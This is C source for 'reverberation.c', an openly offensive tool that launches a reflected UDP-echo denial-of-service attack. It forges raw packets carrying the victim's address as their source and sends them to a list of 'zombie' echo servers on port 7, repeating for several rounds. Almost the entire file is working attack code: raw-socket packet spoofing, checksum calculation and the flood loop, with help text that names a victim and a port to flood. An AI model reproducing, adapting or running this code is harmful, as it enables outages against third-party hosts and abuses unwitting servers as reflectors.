/* 
  reverberation.c    - written by l0om
  reverberation - echo, nachklang, widerhall

  this program has been written to prove the possibility of taking down hosts with DDoS UDP Echo servers.
  an attacker needs a service that responds UDP messages on every unexpected message or simply something like
  an active UDP echo server. those can ge taken out with spoofed UDP packets to a list of other UDP echo 
  servers what will end in an DDoS attack.

  U may scan for UDP echo servers with nmap or hping.

  -f: next argument has to be the ECHO DDoS-Zombie file
  -v: verbose mode
  -r: next arg the rounds to go
  -t: next arg the time to wait after a round of sending packets
  -P: next arg vulnerable port of victims host

  Notes: 
  the echo-zombie file has to look like this:
    1.2.3.4
    2.3.4.5
    3.4.5.6
    [...]
  the default vul port is 7 for echo

*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <netdb.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <errno.h>
#define __FAVOR_BSD
#include <netinet/ip.h>
#include <netinet/udp.h>

#define ECHOPORT 7
#define ECHOSTR   "the quick brown fox jumps over the lazy dog"  //stupid shit  :/

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void help(char *p);

/* define the pseudohdr */

struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};

int verbose;

int main(int argc, char **argv)
{
  int i, rounds=1, sleeptime = 0, vulport = ECHOPORT;
  char buf[512], *filename, *dest = NULL, *payload = ECHOSTR;
  FILE *echozombies = NULL;  
  
  for(i = 1; i < argc; i++)
    if(argv[i][0] == '-')
      switch(argv[i][1]) 
      {
        case 'f':
          filename = (char *)malloc(strlen(argv[++i])+1);
          if(filename == NULL) {
            perror("filename");
            return 1;
          }
          strcpy(filename,argv[i]);
          echozombies = fopen(filename, "r");
          if(echozombies == NULL) {
            perror("fopen");
            return 1;
          }
          break;
        case 'r':
          rounds = atoi(argv[++i]);
          if(errno == EINVAL) {
            printf("illegal count of rounds >>%s<<\n",argv[i]);
            return -1;
          }
          break;
        case 'v':
          verbose = 1; 
          break;
        case 't':
          sleeptime = atoi(argv[++i]);
          if(errno == EINVAL) {
            printf("illegal seconds to sleep >>%s<<\n",argv[i]);
            return -1;
          }
          break;
        case 'P':
          vulport = atoi(argv[++i]);
          if(errno == EINVAL) {
            printf("illegal port to flood >>%s<<\n",argv[i]);
            return -1;
          }
          break;
        case 'p':
          payload = (char *)malloc(strlen(argv[++i])+1);  //memory leek
          if(payload == NULL) {
            perror("malloc");
            return -1;
          }
          strcpy(payload,argv[i]);
          break;
        default:
          printf(">>%s<< unknown option\n",argv[i]);
          return 1;
      }
    else dest = argv[i];

  if(echozombies == NULL || dest == NULL) {
    help(argv[0]);
    return -1;
  }

  printf("action starts\n");
  while(rounds)
  {
    printf("%d rounds to go...\n",rounds);
    while(!feof(echozombies))
    {
      if(fgets(buf, sizeof(buf), echozombies) != NULL)
      {
        buf[strlen(buf)-1] = '\0';
        printf("sending echo packet: src ip:%s  dst ip:%s\n",dest, buf);  //dest=victim buf=zombie
        if(udpsend(inet_addr(dest), inet_addr(buf), vulport, 7, payload, strlen(payload)) == 0) 
        {
          printf("something went wrong while sending - EXIT\n");
          fclose(echozombies);
          free(filename);
          return 0;
        }
      }
    }
    rounds--;
    fseek(echozombies, 0L, SEEK_SET);
    printf("time of reverberation...\n");
    sleep(sleeptime);
  }
  fclose(echozombies);
  free(filename);
  return 0;
}


void help(char *p)
{
  printf("%s [options, <-f zombiefile>] <dest-host-ip>\n",p);
  printf("options:\n");
  printf("-f: next argument has to be the ECHO DDoS-Zombie file\n");
  printf("-v: verbose mode\n");
  printf("-r: next arg the rounds to go\n");
  printf("-t: next arg the time to wait after one round of sending packets (secs)\n");
  printf("-P: next arg vulnerable port of victims host\n");
}

ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen)
{
            struct  sockaddr_in servaddr;
            struct    iphdr *ip;
            struct    udphdr *udp;
            struct pseudohdr *pseudo;
            char packet[sizeof(struct iphdr)+sizeof(struct udphdr)+datalen];
            int nbytes, sockfd, on = 1;

            sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if(sockfd < 0) {
              fprintf(stderr,"cannt creat socket\n");
              return(0);
            }

            if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
              fprintf(stderr, "cannot setsockopt\n");
              return(0);
            }

            memset(packet, 0x00, sizeof(packet));
            memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data, datalen);

            servaddr.sin_addr.s_addr = daddr;
            servaddr.sin_port = htons(dport);
            servaddr.sin_family = AF_INET;

            ip     = (struct iphdr *)packet;
            udp    = (struct udphdr *)(packet + sizeof(struct iphdr));
            pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));


            udp->uh_sport = htons(sport);
            udp->uh_dport = htons(dport);
            udp->uh_sum = 0;
            udp->uh_ulen = htons(sizeof(struct udphdr)+datalen);

            pseudo->saddr    = saddr;
            pseudo->daddr    = daddr;
            pseudo->useless     = 0;
            pseudo->protocol = IPPROTO_UDP;
            pseudo->length   = udp->uh_ulen;

            udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct udphdr)+sizeof(struct pseudohdr)+datalen);

            ip->ihl      = 5;
            ip->version  = 4;
            ip->tos      = 0x10;
            ip->tot_len  = sizeof(packet);
            ip->frag_off = 0;
            ip->ttl      = 69;
            ip->protocol = IPPROTO_UDP;
            ip->check    = 0;
            ip->saddr    = saddr;
            ip->daddr    = daddr;
            nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));

            close(sockfd);
            return(nbytes);
}
 

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long    sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }
  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}